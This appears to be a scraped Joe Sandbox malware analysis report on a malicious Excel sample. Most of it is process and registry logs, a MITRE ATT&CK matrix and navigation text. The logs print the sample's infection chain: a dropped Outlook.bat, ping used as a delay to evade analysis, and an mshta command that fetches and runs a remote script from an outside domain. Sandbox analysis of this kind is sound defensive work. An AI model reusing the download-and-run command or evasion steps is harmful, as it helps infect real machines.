Source: C:\Windows\System32\cmd.exe	Console Write: ................................ .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. .................H.......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................................o.d.e...................d.......m.o.d.e........... .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ...................I....................................@c.I..... ......P................;.v....................................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................................................z .....................D......................... .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................c.d............./................................$.I............/...............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................ .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. .......d.......c.d............... .....................".......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................................s.\.P.u.................d.......c.d............... .............................................	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Console Write: ................................................d1K.......................S.............d...............e.S.............X.......B.........-.....	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WINWORD.EXE")

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6B9D.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@11/86@4/4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1			Jump to behavior

Source: C:\Windows\System32\taskkill.exe TID: 1964	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 684	Thread sleep time: -420000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Memory protected: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	1 Input Capture	1 Virtualization/Sandbox Evasion	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Modify Registry	LSASS Memory	11 Remote System Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	121 Scripting	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	23 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	11 Disable or Modify Tools	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	14 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	121 Scripting	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.11632.3300

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Exploit.Siggen3.17149.11632.3300

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.11632.3300